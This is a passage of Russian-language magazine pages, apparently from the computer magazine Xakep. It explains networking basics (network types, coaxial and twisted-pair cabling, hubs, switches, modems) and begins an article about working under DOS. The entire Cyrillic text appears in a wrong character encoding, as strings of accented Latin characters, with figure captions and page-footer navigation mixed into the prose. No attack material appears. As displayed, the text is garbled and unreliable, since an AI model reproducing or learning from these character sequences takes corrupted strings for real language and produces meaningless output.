
ïîñòðîåíèÿ, ò.å. íåêîòîðîãî<br />

øàáëîíà, èñõîäÿ èç êîòîðîãî<br />

îïðåäåëÿåòñÿ ñòðóêòóðà ñèñòåìû.<br />

Ñàìûé ïðèìèòèâíûé âàðèàíò<br />

– ñîåäèíåíèå äâóõ êîìïüþòåðîâ<br />

÷åðåç ïîñëåäîâàòåëüíûé<br />

èíòåðôåéñ ïðè ïîìîùè êàáåëÿ<br />

íóëü-ìîäåìà. Ýòèì êàáåëåì,<br />

êñòàòè, ìîæíî ñîåäèíÿòü êîìïüþòåðû<br />

íà ðàññòîÿíèè äî 100 ìåòðîâ<br />

- òàêîâà ñïåöèôèêà ïîñëåäîâàòåëüíîãî<br />

èíòåðôåéñà.<br />

Îäíîðàíãîâàÿ ñåòü ìîæåò ñîñòîÿòü<br />

èç ìíîæåñòâà ðàâíîïðàâíûõ<br />

è ðàâíîôóíêöèîíàëüíûõ êîìïüþòåðîâ.<br />

Äëÿ ñîçäàíèÿ òàêîé ñåòè â<br />

êàæäîì èç êîìïüþòåðîâ îáÿçàòåëüíî<br />

äîëæíà ïðèñóòñòâîâàòü<br />

ñåòåâàÿ êàðòà è âñå ìàøèíû<br />

äîëæíû áûòü ñîåäèíåíû â îäíó<br />

ñèñòåìó êàáåëÿìè ñâÿçè. Ñåòü<br />

òèïà “êëèåíò-ñåðâåð” ñîñòîèò èç<br />

ðàáî÷èõ ñòàíöèé è îäíîãî ìîùíîãî<br />

ñåðâåðà, îñíàùåííîãî áîëüøèì<br />

õàðäîì, ìîùíûì ïðîöåññîðîì,<br />

êó÷åé ïàìÿòè è äîðîãîé ïåðèôåðèåé.<br />

Ðàáî÷èå ñòàíöèè –<br />

îáû÷íî ñëàáåíüêèå ìàøèíêè,<br />

÷àñòî áåç ñîáñòâåííûõ æåñòêèõ<br />

äèñêîâ, ðàáîòàþò ñ èíôîðìàöèåé,<br />

ðàçìåùåííîé íà ãîëîâíîì<br />

ñåðâåðå. Êñòàòè, íå äóìàé, ÷òî<br />

ñåòåé “êëèåíò-ñåðâåð” óæå ïî÷òè<br />

íåò, ýòî îøèáî÷íîå ìíåíèå. Â<br />

òîì èëè èíîì âèäå îíè èñïîëüçóþòñÿ<br />

âî ìíîæåñòâå îðãàíèçàöèé.<br />

Ñòîèò çàìåòèòü, ÷òî òàêîå äåëåíèå<br />

ñåòåé íå óêàçûâàåò íà ñïîñîá<br />

ñâÿçè êîìïüþòåðîâ – ýòî ìîæåò<br />

áûòü è âèòàÿ ïàðà, è êîàêñèàë, è<br />

íóëü-ìîäåìíûé êàáåëü, äà è, â<br />

îáùåì ñëó÷àå, ðàäèîêàíàë, ñâåòîâîä<br />

èëè ñïóòíèêîâàÿ òàðåëêà.<br />

 ÑÅÒßÕ!<br />

ÑÅÒÈ È ÈÕ<br />

ÊËÀÑÑÈÔÈÊÀÖÈß<br />

Êîìïüþòåðíûå ñåòè ïðèíÿòî äåëèòü<br />

ïî ïðèçíàêó îõâàòûâàåìîé<br />

èìè òåððèòîðèè íà 4 òèïà. LAN –<br />

Local Area Network – ïðåäñòàâëÿåò<br />

ñîáîé ñèñòåìó èç äâóõ èëè áîëåå<br />

ìàøèí, ñëîâî “local” óêàçûâàåò<br />

íà òî, ÷òî êîìïüþòåðû ýòè<br />

ðàñïîëîæåíû íåäàëåêî äðóã îò<br />

äðóãà, êàê ïðàâèëî – â îäíîì èëè<br />

ñîñåäíèõ çäàíèÿõ. MAN –<br />

Metropolitan Area Network – ñåòü,<br />

ñîåäèíÿþùàÿ êîìïüþòåðû â ïðåäåëàõ<br />

îäíîãî îòäåëüíî âçÿòîãî<br />

ãîðîäà. WAN – Wide Area Network<br />

– îáúåäèíÿåò êîìïüþòåðû îäíîé<br />

èëè íåñêîëüêèõ ñòðàí. Íó è íàêîíåö<br />

GAN – Global Area Network –<br />

ñîåäèíÿåò ìàøèíû íà ðàçíûõ<br />

êîíòèíåíòàõ.<br />

Ñëåäóåò çàìåòèòü, ÷òî, êàê ïðàâèëî,<br />

òèïû ñåòåé ÿâëÿþòñÿ âëîæåííûìè<br />

îáúåêòàìè, ò.å. ñåòü<br />

òèïà GAN ñîñòîèò èç íåñêîëüêèõ<br />

WAN-ñåòåé, êîòîðûå, â ñâîþ î÷åðåäü,<br />

ñîñòîÿò èç ìíîæåñòâà<br />

MAN-ñåòåé è ò.ä. Àòîìàðíîé åäèíèöåé<br />

ëþáîé ñåòè, âïðî÷åì, ÿâëÿåòñÿ<br />

óíèêàëüíûé êîìïüþòåð.<br />

Ðàçúåìû êàáåëÿ<br />

äëÿ ïîäêëþ÷åíèÿ<br />

ê com-ïîðòó<br />

Íå ñëåäóåò æåñòêî ñâÿçûâàòü<br />

ðàíã ñåòè ñ êîëè÷åñòâîì ïîäêëþ-<br />

÷åííûõ ê íåé êîìïüþòåðîâ. Òàê,<br />

íàïðèìåð, øåñòåðî äðóçåé íà<br />

ðàçëè÷íûõ êîíòèíåíòàõ ìîãóò<br />

çàïðîñòî ñôîðìèðîâàòü ãëîáàëüíóþ<br />

ñåòü, äîçâîíèâøèñü íà îäèí<br />

ïóë ìîäåìíîãî ïðîâàéäåðà ãäåíèáóäü<br />

â ÑØÀ. À ÷òî – âñå âåðíî,<br />

êîìïüþòåðû íàõîäÿòñÿ íà ðàçíûõ<br />

êîíòèíåíòàõ è ñâÿçàíû ìåæäó ñîáîé<br />

èíôîðìàöèîííûì ïðîñòðàíñòâîì.<br />

Ýòî ëîãè÷åñêîå äåëåíèå<br />

ñåòåé íèêîèì îáðàçîì íå óêàçûâàåò<br />

íà èñïîëüçóåìûå ïðè ñîåäèíåíèè<br />

ìàøèí òåõíîëîãèè. Ëîãè÷íî<br />

â ýòîé ñèòóàöèè ïðåäïîëîæèòü,<br />

÷òî ÷åì áîëüøóþ òåððèòîðèþ<br />

îõâàòûâàåò ñåòü, òåì áîëüøèå<br />

ðàññòîÿíèÿ ïðèõîäèòñÿ ïîêðûâàòü<br />

ïåðåäàâàåìîé èíôîðìàöèè<br />

è, î÷åâèäíî, òåì áîëüøàÿ<br />

ïðîïóñêíàÿ ñïîñîáíîñòü íåîáõîäèìà.<br />

Ýòî íàõîäèò îòðàæåíèå â<br />

èñïîëüçóåìûõ òåõíîëîãèÿõ. Òàê,<br />

â LAN-ñåòÿõ îáû÷íî ïðèìåðÿåòñÿ<br />

òåõíîëîãèÿ Ethernet, â îñòàëüíûõ<br />

– áîëåå ìàñøòàáíûõ – îáû÷íî<br />

èñïîëüçóþòñÿ òåõíîëîãèè áåñïðîâîäíîé<br />

è îïòè÷åñêîé ñâÿçè.<br />

Èíòåðôåéñ äëÿ<br />

ïîäêëþ÷åíèÿ ê<br />

ìàòåðèíñêîé ïëàòå<br />

Ñom 2 com êàáåëü<br />

1 2 3 4<br />

20 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÊÎÀÊÑÈÀËÜÍÛÉ<br />

ÊÀÁÅËÜ<br />

Äåñÿòêè ëåò íàçàä ÷ðåçâû÷àéíî ïîïóëÿðíûì<br />

áûë êîàêñèàëüíûé êàáåëü<br />

– îí âïîëíå óñòðàèâàë ïî ïðîïóñêíîé<br />

ñïîñîáíîñòè, áûë äåøåâ è<br />

äîñòóïåí. Îí ñîñòîèò èç öåíòðàëüíîãî<br />

ïðîâîäíèêà (îäíîæèëüíîãî<br />

èëè ìíîãîæèëüíîãî), îêðóæåííîãî<br />

èçîëèðóþùèì ìàòåðèàëîì, íà êîòîðûé<br />

íàòÿíóòà ýêðàíèðóþùàÿ îïëåòêà<br />

èç ìåäè èëè àëþìèíèÿ.<br />

Ñâåðõó êàáåëü ïîêðûò ñëîåì óñòîé-<br />

÷èâîé ê âíåøíèì âîçäåéñòâèÿì<br />

èçîëèðóþùåé îáîëî÷êè.<br />

Áëàãîäàðÿ îïëåòêå, ïðåêðàñíî çàùèùàþùåé<br />

ñèãíàë, èäóùèé ïî<br />

öåíòðàëüíîìó ïðîâîäíèêó, îò âíåøíèõ<br />

ýëåêòðîìàãíèòíûõ ïîëåé, ñ ïîìîùüþ<br />

òàêîãî êàáåëÿ ìîæíî ñîåäèíÿòü<br />

îáúåêòû, íàõîäÿùèåñÿ íà çíà-<br />

ÈÑÒÎÐÈ×ÅÑÊÀß<br />

ÑÏÐÀÂÊÀ<br />

Ïåðâîíà÷àëüíàÿ âåðñèÿ òåõíîëîãèè<br />

Ethernet áûëà ðàçðàáîòàíà â<br />

70-õ ãîäàõ ôèðìîé Õerox.  íà÷àëå<br />

80-õ ôèðìû DEC, Intel è Xerox íàïèñàëè<br />

òåõíè÷åñêóþ ñïåöèôèêàöèþ<br />

ýòîãî ñòàíäàðòà, èíîãäà íàçûâàåìîãî<br />

ñòàíäàðòîì DIX (ïî ïåðâûì<br />

áóêâàì íàçâàíèé ôèðì).<br />

ROM ñåòåâóõè<br />

Ïðîöåññîð ñåòåâîãî<br />

àäàïòåðà<br />

÷èòåëüíîì ðàññòîÿíèè äðóã îò äðóãà<br />

(íåñêîëüêî êèëîìåòðîâ). Ñêîðîñòü<br />

ïåðåäà÷è äàííûõ îáû÷íî íå<br />

ïðåâîñõîäèò 7 ìåãàáèò â ñåêóíäó,<br />

õîòÿ, ñîãëàñíî ñïåöèôèêàöèè, êàáåëü<br />

äîëæåí ïåðåäàâàòü äàííûå íà<br />

ñêîðîñòè 10 Ìáèò/ñ. Ýòîò êàáåëü<br />

èñïîëüçóåòñÿ â îñíîâíîì â<br />

Ethernet-ñåòÿõ, ïîýòîìó åãî èíîãäà<br />

íàçûâàþò Ethernet-êàáåëåì. Îñíîâíàÿ<br />

õàðàêòåðèñòèêà êîàêñèàëà –<br />

âîëíîâîå ñîïðîòèâëåíèå (îòíîøåíèå<br />

íàïðÿæåíèÿ ê ñèëå òîêà â äàííîì<br />

ñå÷åíèè ïåðåäàþùåãî êàáåëÿ).<br />

Èçìåðèòü ýòó âåëè÷èíó äëÿ êîíêðåòíîãî<br />

êàáåëÿ âîçìîæíî, òîëüêî<br />

îáëàäàÿ äîâîëüíî äîðîãèì óñòðîéñòâîì,<br />

ïîýòîìó ïðè ïîêóïêå êàáåëÿ,<br />

÷òîáû èçáåæàòü ïðîáëåì, íàäî ïîñìîòðåòü<br />

ìàðêèðîâêó íà âíåøíåé<br />

îáîëî÷êå ïðîâîäà – äëÿ ñåòåé<br />

Ethernet ñòàíäàðòíàÿ âåëè÷èíà ýòîãî<br />

ïàðàìåòðà ðàâíà 50 Îìàì.<br />

Ñòàðàÿ 16-òè<br />

ðàçðÿäíàÿ êàðòà<br />

Èíòåðôåéñ<br />

ïîäêëþ÷åíèÿ ê 16-òè<br />

ðàçðÿäíîé øèíå ISA<br />

Ñóùåñòâóþò äâà òèïà êîàêñèàëüíîãî<br />

êàáåëÿ – “òîíêèé” è “òîëñòûé”.<br />

Äèàìåòð ïåðâîãî ñîñòàâëÿåò 0.2”,<br />

âòîðîãî â äâà ðàçà áîëüøå.<br />

Ïîä òîíêèì êîàêñèàëîì îáû÷íî ïîíèìàþò<br />

êàáåëü RG-58, îäíàêî äîñòîâåðíî<br />

èçâåñòíî, ÷òî åãî çàïðîñòî<br />

ìîæíî çàìåíèòü áîëåå äåøåâûì è<br />

êà÷åñòâåííûì ñîâåòñêèì (îí åùå<br />

ïî ÃÎÑÒàì ÑÑÑÐ ïðîèçâîäèëñÿ!)<br />

àíàëîãîì – ÐÊ-50. Äëèíà ñåãìåíòà<br />

ïðè èñïîëüçîâàíèè ýòîãî êàáåëÿ íå<br />

äîëæíà ïðåâûøàòü 185 ìåòðîâ, ïðè<br />

èñïîëüçîâàíèè ñïåöèàëüíîãî îáîðóäîâàíèÿ<br />

– ðåïèòåðîâ – åãî äëèíà<br />

ìîæåò ïðåâîñõîäèòü 900 ìåòðîâ.<br />

Äëÿ ïîäêëþ÷åíèÿ êàáåëÿ ê ñåòåâîé<br />

êàðòå èñïîëüçóþòñÿ ò.í. BNC-êîííåêòîðû.<br />

Ñ èõ ïîìîùüþ êàáåëü<br />

ïîäêëþ÷àåòñÿ ñ äâóõ ñòîðîí ê T-êîííåêòîðó,<br />

êîòîðûé, â ñâîþ î÷åðåäü,<br />

Ðàçúåì äëÿ ïîäêëþ÷åíèÿ<br />

êîàêñèàëüíîãî êàáåëÿ<br />

Èíâåðòîðû ñèãíàëà<br />

Ìèêðîñõåìà ïàìÿòè<br />

ïîäêëþ÷àåòñÿ óæå ê ñåòåâîé êàðòå.<br />

“Òîëñòûé” - èëè êàê åãî åùå íàçûâàþò<br />

çà òðàäèöèîííûé öâåò âíåøíåé<br />

èçîëÿöèè – “æåëòûé” êîàêñèàë<br />

çíà÷èòåëüíî ïðåâîñõîäèò “òîíêèé”<br />

íå òîëüêî ïî äèàìåòðó è ñòîèìîñòè,<br />

íî è ïî ïîìåõîóñòîé÷èâîñòè, âñëåäñòâèå<br />

÷åãî ìàêñèìàëüíàÿ äëèíà îäíîãî<br />

ñåãìåíòà ñîñòàâëÿåò ïîëêèëîìåòðà,<br />

ïðè èñïîëüçîâàíèè ðåïèòåðîâ<br />

ìîæíî ñîåäèíèòü îáúåêòû íà<br />

ðàññòîÿíèè äî 2,5 êì. Äëÿ ïîäêëþ-<br />

÷åíèÿ òàêîãî êàáåëÿ ê êîìïüþòåðó<br />

èñïîëüçóåòñÿ ñïåöèàëüíîå óñòðîéñòâî,<br />

íàçûâàåìîå òðàíñèâåðîì.<br />

Òðàíñèâåð ñ îäíîé ñòîðîíû ïîäêëþ÷àåòñÿ<br />

ê êîàêñèàëó, à ñ äðóãîé<br />

ïðè ïîìîùè ñïåöèàëüíîãî êàáåëÿ -<br />

ê ñåòåâîé êàðòå. Äëèíà òàêîãî êàáåëÿ<br />

ìîæåò äîñòèãàòü 50 ìåòðîâ, íà<br />

îáîèõ åãî êîíöàõ íàõîäÿòñÿ 15-êîíòàêòíûå<br />

DIX-ðàçúåìû.<br />

Ðàçúåì äëÿ<br />

ïîäêëþ÷åíèÿ<br />

êîííåêòîðà RJ45<br />

5 6 7 8 9<br />

Þíèêñîèä X-Còèëü Êîäèíã Þíèòû Quit> 21


22<br />

ÌÛ Â ÑÅÒßÕ!<br />

INSIDE<br />

Íèêèòà «Nikitos» Êèñëèöèí<br />

(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />

ÂÈÒÀß ÏÀÐÀ<br />

 äåâÿíîñòûõ ãîäàõ îñîáåííóþ ïîïóëÿðíîñòü<br />

ïðèîáðåë êàáåëü, íàçûâàåìîé<br />

“âèòîé ïàðîé”. Âèòàÿ<br />

ïàðà ïðåäñòàâëÿåò ñîáîé äâà èçîëèðîâàííûõ<br />

ñêðó÷åííûõ ìåæäó ñîáîé<br />

(îò 4 äî 6 âèòêîâ íà äþéì)<br />

ìåäíûõ ïðîâîäà, îäèí èç êîòîðûõ<br />

íàçûâàåòñÿ “Ring”, äðóãîé èìåíóåòñÿ<br />

“Tip”. Ðåàëüíûé êàáåëü, âïðî-<br />

÷åì, ñîñòîèò, êàê ïðàâèëî, èç ÷åòûðåõ<br />

ïàð, ò.å. âîñüìè æèë, ïîýòîìó<br />

âñå æèëû â êàáåëå ìîæíî íàçûâàòü<br />

ðèíãàìè è òèïàìè, ïðèáàâëÿÿ<br />

ñîîòâåòñòâóþùèé èíäåêñ ïàðû.<br />

Ò.å., íàïðèìåð, “Ring1”,<br />

“Tip1”,…,”Ring4”, “Tip4”.<br />

Êàæäàÿ ïàðà èìååò èçîëÿöèþ îïðåäåëåííîãî<br />

öâåòà:<br />

1: “ñèíèé” è “áåëûé-ñèíèé”;<br />

2: “îðàíæåâûé” è “áåëûé-îðàíæåâûé”;<br />

3: “çåëåíûé è áåëûé-çåëåíûé”;<br />

4: “êîðè÷íåâûé è áåëûé-êîðè÷íåâûé”.<br />

Èç ÷åòûðåõ ïàð, ïðèñóòñòâóþùèõ â<br />

êàáåëå, ôèçè÷åñêè èñïîëüçóþòñÿ<br />

ëèøü äâå – îäíà íà ïðèåì, äðóãàÿ<br />

íà ïåðåäà÷ó äàííûõ.<br />

Òàêæå êàáåëè ðàçëè÷àþò ïî êàòåãîðèÿì:<br />

1-ÿ èñïîëüçóåòñÿ äëÿ ïåðåäà÷è<br />

ðå÷è â òåëåôîííûõ ñåòÿõ;<br />

2-ÿ îáåñïå÷èâàåò ïåðåäà÷ó äàííûõ<br />

íà ñêîðîñòè äî 4 Ìáèò/ñåê;<br />

3-ÿ - 10 Ìáèò/ñåê (ñòàíäàðò<br />

10BASE-T);<br />

4-ÿ - 16 Ìáèò/ñåê (èñïîëüçóåòñÿ â<br />

ñåòÿõ Token Ring);<br />

5-ÿ - 100 Ìáèò/ñåê, èëè 1 Ãáèò/ñåê<br />

– ïðè èñïîëüçîâàíèè ñîâðåìåííî-<br />

Èíäèêàòîð<br />

ñâÿçè, “ëèíê”<br />

Ðàçúåì äëÿ<br />

ïîäêëþ÷åíèÿ<br />

êîííåêòîðà RJ45<br />

Íüþñû<br />

ãî è äîðîãîãî îáîðóäîâàíèÿ;<br />

6-ÿ êàòåãîðèÿ ñïåöèôèöèðîâàíà<br />

äëÿ ÷àñòîòû â 600 ÌÃö, ñêîðîñòè<br />

ïåðåäà÷è äàííûõ àíàëîãè÷íû 5-é<br />

êàòåãîðèè.<br />

Âèòàÿ ïàðà áûâàåò ýêðàíèðîâàííîé<br />

(STP) è íåýêðàíèðîâàííîé<br />

(UTP), îòëè÷èòü îäèí êàáåëü îò<br />

äðóãîãî ìîæíî ïî åãî ìàðêèðîâêå<br />

– “CATEGORY 5+ STP …” – ÿâíûé<br />

ïðèçíàê ýêðàíèðîâàííîãî êàáåëÿ.<br />

Ïîäêëþ÷åíèå âèòîé ïàðû ê ñåòåâîìó<br />

àäàïòåðó îáû÷íî íå âûçûâàåò<br />

çàòðóäíåíèé – èñïîëüçóåòñÿ<br />

ðàçúåì RJ-45, êîòîðûì ïðè íàëè-<br />

÷èè ñïåöèàëüíîãî óñòðîéñòâà ëåãêî<br />

îáæèìàåòñÿ êàáåëü. Ê ñëîâó,<br />

îáæèìàòü íàäî íå êàê ïîïàëî, à<br />

÷åòêî ñîáëþäàÿ ñõåìû îáæèìà,<br />

óêàçàííûå â ñïåöèôèêàöèè ýòîé<br />

òåõíîëîãèè. Ïðîöåññ îáæàòèÿ ïðîâîäà<br />

îòëè÷íî îñâåùåí è ïðîèëëþñòðèðîâàí<br />

íà<br />

http://www.ixbt.com/comm/lan_faq.<br />

html.<br />

Ê ñîæàëåíèþ, âèòàÿ ïàðà îáåñïå-<br />

÷èâàåò ñâÿçü ëèøü ïðè äëèíå ñåãìåíòà<br />


ÕÀÁÛ<br />

ÌÎÄÅÌÛ<br />

Ïåðåêëþ÷àòåëü<br />

ðåæèìà ðàáîòû õàáà<br />

Äëÿ ñîåäèíåíèÿ íåñêîëüêèõ êîìïüþòåðîâ â<br />

ñåòü íà áàçå âèòîé ïàðû èñïîëüçóþòñÿ ñïåöèàëüíûå<br />

óñòðîéñòâà – õàáû. Îíè îáúåäèíÿþò<br />

â åäèíîå èíôîðìàöèîííîå ïðîñòðàíñòâî<br />

íåñêîëüêî êàíàëîâ ñâÿçè. Õàá ïðåäñòàâëÿåò<br />

ñîáîé îáûêíîâåííóþ ìèêðîñõåìó ñ íàïàÿííûìè<br />

íà íåé ýëåìåíòàìè – êîííåêòîðàìè,<br />

èíâåðòîðàìè íàïðÿæåíèÿ, ïðîöåññîðîì è<br />

ROM. Èíâåðòîð íàïðÿæåíèÿ ïðîèçâîäèò<br />

ïåðâè÷íóþ îáðàáîòêó ïîñòóïàþùåãî ñèãíàëà,<br />

ðàññìàòðèâàÿ åãî íå â âûñîêîóðîâíåâîì<br />

ëîãè÷åñêîì ïðåäñòàâëåíèè, à â âèäå îáûêíîâåííîãî<br />

àíàëîãîâîãî ñèãíàëà. Ïðîöåññîð,<br />

ñëåäóÿ îïðåäåëåííîìó â ROM àëãîðèòìó,<br />

îáðàáàòûâàåò íåêîòîðûì îáðàçîì ñèãíàë è<br />

ïîñûëàåò åãî åùå îäíîìó èíâåðòîðó, êîòîðûé<br />

óæå, ìîäèôèöèðîâàâ ñèãíàë, ðàññûëàåò<br />

åãî ïî êàæäîìó èç êîííåêòîðîâ. Õàá ÿâëÿåòñÿ<br />

öåíòðàëüíûì óñòðîéñòâîì ñåòè, è îò íåãî<br />

íàïðÿìóþ çàâèñèò åå ðàáîòîñïîñîáíîñòü.<br />

Õàáû ðàçëè÷àþò ïî êîëè÷åñòâó ïîðòîâ – êàê<br />

ïðàâèëî, ýòî 5, 8, 12, 16 è ñêîðîñòÿì ïåðåäà÷è<br />

äàííûõ – îò 10 äî 1000 Ìáèò/ñ.<br />

Õàáû ìîæíî îáúåäèíÿòü ìåæäó ñîáîé, ïîëó-<br />

÷àÿ ñëîæíûå êàñêàäíûå ñòðóêòóðû, îäíàêî<br />

ñëåäóåò ïîìíèòü - íåæåëàòåëüíî, ÷òîáû<br />

ìåæäó ëþáûìè äâóìÿ êîìïüþòåðàìè áûëî<br />

áîëåå ïÿòè õàáîâ – ýòî çäîðîâî çàìåäëèò<br />

ðàáîòó. Ìíîãèå õàáû èìåþò ðàçúåìû äëÿ<br />

ïîäêëþ÷åíèÿ êîàêñèàëüíîãî êàáåëÿ, ÷òî ïîçâîëÿåò<br />

îáúåäèíÿòü ñåòè, ïîñòðîåííûå íà<br />

ðàçíûõ òåõíîëîãèÿõ.<br />

Íåðåäêî âñòðå÷àþòñÿ ò.í. ñâèò÷è – âêðàòöå<br />

èõ ìîæíî îõàðàêòåðèçîâàòü êàê “óìíûå õàáû”.<br />

Äåéñòâèòåëüíî, âîçìîæíîñòè, êîòîðûå<br />

ïðåäîñòàâëÿþò ñàìûå äîðîãèå ìîäåëè,<br />

ïðåâîñõîäÿò îæèäàíèÿ íåïîñâÿùåííîãî<br />

÷åëîâåêà. Ýòî è óäàëåííîå àäìèíèñòðèðîâàíèå,<br />

è ïðèâÿçêà êàæäîãî ãíåçäà ê êîíêðåòíîìó<br />

MAC-àäðåñó, è, â êîíöå êîíöîâ,<br />

ìíîæåñòâî çàäà÷, êîòîðûå ìîæíî ýôôåêòèâíî<br />

ðåøèòü, íàïèñàâ íà ñïåöèàëüíîì<br />

ÿçûêå ñöåíàðèé äëÿ ðàáîòû ñâèò÷à.<br />

Âîîáùå, ìîäåìîì íàçûâàþò óñòðîéñòâî, ïîçâîëÿþùåå<br />

îñóùåñòâëÿòü îáìåí èíôîðìàöèåé<br />

ìåæäó öèôðîâûìè óñòðîéñòâàìè (PC, íàïðèìåð)<br />

÷åðåç àíàëîãîâûå êàíàëû ñâÿçè (êàê âàðèàíò<br />

– òåëåôîííûå ñåòè). Ñëîâî “ÌÎÄÅÌ” îáðàçîâàíî<br />

îò “ÌÎäóëÿòîð-ÄÅÌîäóëÿòîð”.<br />

Ìîäåì ñîñòîèò èç:<br />

1) Àäàïòåðîâ ïîðòîâ, îñóùåñòâëÿþùèõ<br />

òðàíñôåð èíôîðìàöèè ìåæäó ìîäåìîì è<br />

òåëåôîííîé ëèíèåé, à òàêæå ìåæäó ìîäåìîì<br />

è êîìïüþòåðîì.<br />

2) Ñèãíàëüíîãî ïðîöåññîðà (DSP), îáåñïå-<br />

÷èâàþùåãî ìîäóëÿöèþ-äåìîäóëÿöèþ ñèãíàëà<br />

è ïîääåðæèâàþùåãî íåêîòîðûå ïðîòîêîëû<br />

ïåðåäà÷è äàííûõ.<br />

Ðàçúåì äëÿ<br />

ïîäêëþ÷åíèÿ<br />

ïèòàíèÿ<br />

Èíäèêàòîð ïèòàíèÿ<br />

Èíòåðôåéñ äëÿ<br />

ñîåäèíåíèÿ ñ<br />

êîàêñèàëüíûì<br />

êàáåëåì<br />

3) Êîíòðîëëåðà, îñóùåñòâëÿþùåãî óïðàâëåíèå<br />

ïðîöåññîðîì, îáðàáîòêó êîìàíä è<br />

ðàáîòó ñ äàííûìè.<br />

4) ROM, â êîòîðîé íàõîäèòñÿ ïðîãðàììà<br />

óïðàâëåíèÿ ìîäåìîì è íåêîòîðûå òðàíñïîðòíûå<br />

ïðîòîêîëû.<br />

5) ERPROM, ò.å. ýíåðãîíåçàâèñèìîé ïåðåïðîøèâàåìîé<br />

ïàìÿòè, â êîòîðîé ñîõðàíÿþòñÿ<br />

óñòàíîâêè ìîäåìà ïåðåä åãî âûêëþ÷åíèåì.<br />

6) Ìèêðîñõåì ROM, ò.å. îïåðàòèâíîé ïàìÿòè<br />

óñòðîéñòâà.<br />

Ìîäåìû, êàê èçâåñòíî, áûâàþò âíóòðåííèå è<br />

âíåøíèå. Îäíàêî ðàçíèöà â èõ ñòðîåíèè ñâîäèòñÿ<br />

ê òîìó, ÷òî îäíè ìîíòèðóþòñÿ âíóòðè êîðïóñà,<br />

à äðóãèå ðàñïîëàãàþòñÿ ñíàðóæè êîìïüþòåðà.<br />

Ïîýòîìó ðàññìàòðèâàòü îòäåëüíî ýòè äâà âà-<br />

Èíäèêàòîð<br />

êîëëèçèé â ñåòè<br />

Îáæàòûé è<br />

ïîäêëþ÷åííûé ê õàáó<br />

êàáåëü âèòîé ïàðû<br />

ðèàíòà ñóùåñòâîâàíèÿ ìîäåìîâ áåññìûñëåííî.<br />

Äîâîëüíî ïîïóëÿðíû (ïðåæäå âñåãî, èç-çà<br />

ñâîåé äåøåâèçíû) â íàñòîÿùåå âðåìÿ ò.í.<br />

“ñîôòìîäåìû”. Òàêèì òåðìèíîì ïðèíÿòî íàçûâàòü<br />

óñòðîéñòâà, ÷àñòü ôóíêöèé êîòîðûõ ëåæèò<br />

íà ïðîãðàììå, óñòàíîâëåííîé íà PC. Ýòè<br />

ìîäåìû, êàê ïðàâèëî, íå èìåÿ ñîáñòâåííîãî<br />

ïîëíîöåííîãî ïðîöåññîðà, ïåðåêëàäûâàþò<br />

ôóíêöèè ïî ìîäóëÿöèè è äåìîäóëÿöèè ñèãíàëà<br />

íà CPU, ÷òî, êîíå÷íî æå, ñíèæàåò ïðîèçâîäèòåëüíîñòü<br />

ñèñòåìû. Ýòè ìîäåìû ïðèâÿçàíû<br />

ê ÎÑ, ïîä êîòîðóþ îíè ñîçäàâàëèñü, ïî ýòîé<br />

ïðè÷èíå èõ ÷àñòî âåëè÷àþò “âèíìîäåìàìè”,<br />

ïîòîìó êàê íàñòðîèòü èõ ïîä Þíèêñ ñòàíîâèòñÿ<br />

ïðàêòè÷åñêè íåðàçðåøèìîé çàäà÷åé. Åñòü,<br />

êîíå÷íî, ñïåöèàëüíûå äðàéâåðà, íî ïîä<br />

OpenBSD ìíå íè÷åãî íå ïîìîãëî :).<br />

5 6 7 8 9<br />

Þíèêñîèä Êîäèíã Þíèòû Quit> 23<br />

Ëèíêè<br />

Íåçàíÿòûå<br />

ãíåçäà


PC_Zone<br />

ÅÑÒÜ ËÈ ÆÈÇÍÜ ÏÎÄ ÄÎÑÎÌ ?..<br />

Âëàäèìèð<br />

ÑÀÌ ÑÅÁÅ<br />

Ãóñåâ<br />

ÈÌÈÒÀÒÎÐ<br />

(vova1971@nm.ru)<br />

ÆÈÇÍÜ ÏÎÄ<br />

<br />

ß îïóùó îïèñàíèå óñòàíîâêè ÷èñòîãî DOS’à, òàê êàê â<br />

èíåòå èõ âåëèêîå ìíîæåñòâî, è êàæäûé, êòî õîòü ðàç çàãðóæàëñÿ<br />

ñ àâàðèéíîé äèñêåòêè, êîãäà ó ëþáèìîé Âèíäû<br />

âäðóã ïîðòèëîñü íàñòðîåíèå, ëåãêî ïîéìåò, ÷òî ê ÷åìó.<br />

Åñëè æå åñòü æåëàíèå ïðîñòî ïîýêñïåðèìåíòèðîâàòü, òî<br />

Windows 95/98 ñ ñåàíñîì MS-DOS ê òâîèì óñëóãàì.<br />

Äàâàé-êà ñðàçó ñîñòàâèì ñïèñîê íåîáõîäèìûõ äëÿ ðàáîòû<br />

(è íå òîëüêî:)) ïðîãðàìì. Íàâåðíÿêà â íåãî ïîïàäóò è<br />

áðàóçåð, è ïî÷òîâûé êëèåíò, ftp-êëèåíò, íåïðåìåííî -<br />

èíòåðíåò-ïåéäæåð òèïà àñüêè, êà÷àëêà. Íåëèøíèìè áóäóò<br />

òåêñòîâûé è ãðàôè÷åñêèé ðåäàêòîð. Õîðîøî áû åùå<br />

"ïîáàëîâàòü" ñåáÿ ìóçûêîé. "À ìîæåò è ôèëüìåö â<br />

mpeg4?" - ñ èðîíèåé ñïðîñèøü òû. Òàê è áûòü - âèäåîïëååð<br />

òîæå âîéäåò â íàøó "ìèíèìàëüíóþ ïðîäîâîëüñòâåííóþ<br />

êîðçèíó". Íå âåðèøü? Òîãäà ñëóøàé ìåíÿ âíèìàòåëüíî!<br />

Äåëî â òîì, ÷òî â ÄOCå äåéñòâèòåëüíî ìîæíî...<br />

<br />

Ïîëíîöåííûå ïðîãóëêè ïî Ñåòè íà òðåøêå? Ñ êàðòèíêàìè?<br />

Äà, åñëè â êà÷åñòâå "ïðîâîäíèêà" èñïîëüçîâàòü<br />

Arachne (http://arachne.browser.org)! Êñòàòè, ýòî íå ïðîñòî<br />

áðîäèëêà, à ñîëèäíûé ïàêåò êîììóíèêàöèîííûõ ïðîãðàìì<br />

- òóò òåáå è çâîíèëêà, è ïî÷òîâèê, è ñîáñòâåííûé Ðàáî÷èé<br />

ñòîë, è ôàéë-ìåíåäæåð (åñëè òû ïîäóìàë, ìîë, íà ôèãà<br />

åùå îäèí Ðàáî÷èé ñòîë - íàïîìíþ, ìû âåäü ñîáðàëèñü<br />

«æèòü» ïîä ×ÈÑÒÛÌ ÄÎÑîì). À ïî óìîë÷àíèþ «Êîðçèíîê»<br />

ñ «Ìîèìè Äîêóìåíòàìè» òàì íå íàáëþäàåòñÿ :).<br />

